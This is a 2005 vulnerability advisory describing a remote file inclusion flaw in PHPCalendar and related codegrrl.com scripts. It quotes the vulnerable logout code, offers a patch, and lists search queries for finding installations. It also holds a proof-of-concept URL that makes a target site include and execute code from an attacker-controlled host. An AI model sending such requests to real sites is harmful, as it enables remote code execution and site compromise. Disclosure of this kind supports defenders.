PHPCalendar (and some more codegrrl.com products) arbitrary code execution
PHPCalendar (and some more codegrrl.com products) arbitrary code execution
==========================================================================
Software: PHPCalendar, PHPClique, PHPFanBase, PHPCurrently, PHPQuotes
Severity: Arbitrary code execution
Risk: High
Author: Robin Verton <r.verton@xxxxxxxxx>
Date: Sep. 24 2005
Vendor: codegrrl.com [contacted]
Description:
Written in PHP/MySQL, PHPCalendar is a script designed especially to
help webmasters to mantain a calendar, with all upcoming events and birthdays.
It was designed to be used at personal sites, but it can also be very
useful for fansites, to keep track of tours, premiers, awards shows,
tv apearances, interviews, magazines features, and many more! You can
see it in use at unfloopy.net.
[http://www.codegrrl.com/]
Details:
1) protection.php (with register_globals = On)
If register_globals is on an attacker can include an arbitrary php
file to execute malicious code.
$logout_page = "$siteurl";
[...]
if ($action == "logout")
{
Setcookie("logincookie[pwd]","",time() -86400);
Setcookie("logincookie[user]","",time() - 86400);
@include($logout_page);
exit;
}
Proof of Concept:
To exploit this vulnerability an attacker only has to use the
following HTTP-Request:
http://www.example.com/protection.php?action=logout&siteurl=http://yourhost.com/malicoius-code.txt
Patch:
Set register_globals in the php.ini off or disallow direct access to
the protection.php f.e. define constants and use
code like
if( !defined('IN_SYS') ) {
die('Hacking attempt');
}
to prevent the direct access
Credits:
Credit goes to Robin Verton, 15 years old from Germany
References:
[1] http://codegrrl.com
[2] http://www.google.com/search?q=%22Powered+by%3A+PHPFanBase%22 [about
112,000 results]
[3] http://www.google.com/search?q=%22Powered+by%3A+PHPCalendar%22
[about 44,000 results]
[4] http://www.google.com/search?q=%22Powered+by%3A+PHPCurrently%22
[about 44,000 results]
[5] http://www.google.com/search?q=%22Powered+by%3A+PHPClique%22
[6] http://www.google.com/search?q=%22Powered+by%3A+PHPQuotes%22